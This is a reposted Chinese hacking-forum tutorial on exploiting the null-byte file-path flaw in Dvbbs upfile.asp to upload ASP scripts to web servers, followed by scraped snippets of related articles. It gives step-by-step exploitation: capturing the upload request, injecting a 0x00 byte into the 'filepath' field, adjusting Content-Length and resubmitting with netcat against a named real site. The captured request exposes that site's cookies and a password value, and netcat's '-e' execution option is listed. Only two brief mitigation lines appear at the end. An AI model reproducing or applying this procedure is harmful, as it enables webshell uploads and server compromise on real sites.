asp 之上传漏洞终结篇

收藏关于上传漏洞的文章,最近一直遇到这个麻烦,

作者:szjwwwww     

出自:黑鹰基地论坛

http://www.3800cc.com

一、写在前面

***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***

NC(Netcat)

用于提交 数据包

DOS界面下运行:

   NC -vv www.***.com 80<1.txt

   -vv: 回显

   80:  www端口

   1.txt: 就是你要发送的数据包

  (更多使用方法请查看本区的帖子) 

WSE(WSockExpert)

   对本机端口的监视,抓取IE提交的数据包

  (不会用的就自己到网上搜资料N多)

二、漏洞原理

下面例子假设的前提

www主机:  www.***.com;

bbs路径 :  /bbs/

漏洞源于对动网上传文件的研究,建议有一定编程经验的

看看Dvbbs的upfile.asp文件,没有必要全部看懂

upfile是通过生成一个form表上传,

用到的变量:

filepath 默认值uploadface 属性hiden

act      默认值upload     属性hiden

file1    就是你要传的那个文件

关键是 filepath 这个变量!

默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句

FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt

-------------------------------------------------------------------------

我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道

char data[]="bbs"

这个data数组长度是4: b b s \0

如果我们构造filepath如下,会怎么样呢?

filepath="/newmm.asp\0"

我们在2004.09.24.08.24传的文件就会发生变化

没有改时:

http://www.***.com/bbs/uploadface/200409240824.jpg

用我们构造的filepath时:

http://www.***.com/newmm.asp\0/200409240824.jpg

这样当服务器接收filepath数据时,检测到newmm.asp后面的\0

就理解为filepath的数据就结束了

这样我们上传的文件,比如c:\1.asp

就保存成: http://www.***.com/newmm.asp

三、后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行

有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个

上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。

而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 

自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。

就算他加N个hiden变量也于事无补。

当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结

就是我们的新理论诞生的时候!

四、漏洞列表

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731

http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746

监听外部主机

        NC [-options] hostname port[s] [ports] ...

监听本地主机

        NC -l -p port [options] [hostname] [port]

options:

        -d              detach from console, stealth mode

        -e prog         inbound program to exec [dangerous!!]

        -g gateway      source-routing hop point[s], up to 8

        -G num          source-routing pointer: 4, 8, 12, ...

        -h              this cruft

        -i secs         delay interval for lines sent, ports scanned

        -l              listen mode, for inbound connects

        -L              listen harder, re-listen on socket close

        -n              numeric-only IP addresses, no DNS

        -o file         hex dump of traffic

        -p port         local port number

        -r              randomize local and remote ports

        -s addr         local source address

        -t              answer TELNET negotiation

        -u              UDP mode

        -v              verbose [use twice to be more verbose]

        -w secs         timeout for connects and final net reads

        -z              zero-I/O mode [used for scanning]

port numbers can be individual  or ranges: m-n [inclusive]

详细实例:

---------------------------------------------------------------------------------

一、WSE抓包结果(存到1.txt里):

POST /bbs/upPhoto/upfile.asp HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://www.xin126.com/bbs/upPhoto/upload.asp

Accept-Language: zh-cn

Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)

Host: www.xin126.com

Content-Length: 1969

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84

-----------------------------7d423a138d0278

Content-Disposition: form-data; name="filepath"

../medias/myPhoto/

-----------------------------7d423a138d0278

... ...

上传

-----------------------------7d423a138d0278--

---------------------------------------------------------------------------------

二、UltraEdit打开1.txt改数据:

......

-----------------------------7d423a138d0278

Content-Disposition: form-data; name="filepath"

/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了

......

三、重新计算cookies长度,然后nc提交

Nc -vv www.xin126.com 80 <1.txt

UltraEdit是一个16位编辑器网上可以下载得到

我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H

其实你改的时候就直接再filepath的结尾 

处加个00就OK了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

......

Host: www.xin126.com

Content-Length: 1969  <======就是这个

Connection: Keep-Alive

Cache-Control: no-cache

......

计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理

===>我们的对策就是把filepath变成常量。。。

这个方法是目前最有效的(我认为的) 

2、加强对于\0的处理,原来我们是读到这里就结束

我们继续读直道下一个变量开始的地方,处理就OK了

时间: 2024-09-28 10:06:42

asp 之上传漏洞终结篇的相关文章

asp 之上传漏洞终结篇_应用技巧

收藏关于上传漏洞的文章,最近一直遇到这个麻烦, 作者:szjwwwww   出自:黑鹰基地论坛 http://www.3800cc.com 一.写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat) 用于提交 数据包 DOS界面下运行:    NC -vv www.***.com 80<1.txt    -vv: 回显    80:  www端口    1.txt: 就是你要发送的数据包   (更多使用方法请查看本区的帖子)  WSE(WS

PHP/ASP上传漏洞探究

上传|上传漏洞 1:传漏洞利用的原理只是针对form格式上传的asp和php脚本*** nc(netcat)    用于提交数据包    dos界面下运行:    nc -vv www.***.com 80<1.txt    -vv: 回显    80:  www端口    1.txt: 就是你要发送的数据包   (更多使用方法请查看本区的帖子) wse(wsockexpert)    对本机端口的监视,抓取ie提交的数据包 2:漏洞原理 下面例子假设的前提 www主机:  www.***.co

实例分析ASP上传漏洞入侵实战及扩展_木马相关

[上传漏洞欺骗技术] 网络上许多程序都有着上传漏洞,比如任我飞扬整站程序.动感购物商城.秋叶商城.惠信新闻系统等.本文主要讲解上传漏洞的入侵实战以及一些扩展利用.首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据.一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下: POST /bbs/upfile.asp HTTP/1.1 --. 省略了N多没用信息 Content-Length: 1

实例分析ASP上传漏洞入侵实战及扩展

[上传漏洞欺骗技术] 网络上许多程序都有着上传漏洞,比如任我飞扬整站程序.动感购物商城.秋叶商城.惠信新闻系统等.本文主要讲解上传漏洞的入侵实战以及一些扩展利用.首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据.一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下: POST /bbs/upfile.asp HTTP/1.1 --. 省略了N多没用信息 Content-Length: 1

ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本_应用技巧

今天Demon 提到了这个问题,正好想到之前看到的一篇文章<Automatic file upload using IE+ADO without user interaction - VBSscript> .这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了InternetExplorer.Application组件,我改写了一下,用WinHttp.WinHttpRequest.5.1实现了类似的功能,关于这个组件更多的用法请参考<WinHttpRequest

ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

今天Demon 提到了这个问题,正好想到之前看到的一篇文章<Automatic file upload using IE+ADO without user interaction - VBSscript> .这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了InternetExplorer.Application组件,我改写了一下,用WinHttp.WinHttpRequest.5.1实现了类似的功能,关于这个组件更多的用法请参考<WinHttpRequest

解决ASP(图像)上传漏洞的方法

解决|上传|上传漏洞 经常听说的ASP上传漏洞,即是将一些木马文件修改后缀名(修改为图像文件后缀),进行上传. 针对此情况使用下列函数进行辨别: <%'****************************************'CheckFileType 函数用来检查文件是否为图片文件'参数filename是本地文件的路径'如果是文件jpeg,gif,bmp,png图片中的一种,函数返回true,否则返回false'*********************************** c

解决ASP(图像)上传漏洞的方法_应用技巧

经常听说的ASP上传漏洞,即是将一些木马文件修改后缀名(修改为图像文件后缀),进行上传. 针对此情况使用下列函数进行辨别: 复制代码 代码如下: <% '****************************************************************** 'CheckFileType 函数用来检查文件是否为图片文件 '参数filename是本地文件的路径 '如果是文件jpeg,gif,bmp,png图片中的一种,函数返回true,否则返回false '******

ASP终极防范上传漏洞

上传|上传漏洞 其实无论是组件还是非组件上传,都有这个漏洞,以下代码请需要得朋友仔细阅读,只要读懂代码就能融会贯通.      这里以ASPUPLOAD组件上传为例      以下3个关键函数:      function killext(byval s1) '干掉非法文件后缀   dim allowext   allowext=".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.RA,.   AVI,.MPG,.MPEG,.ASF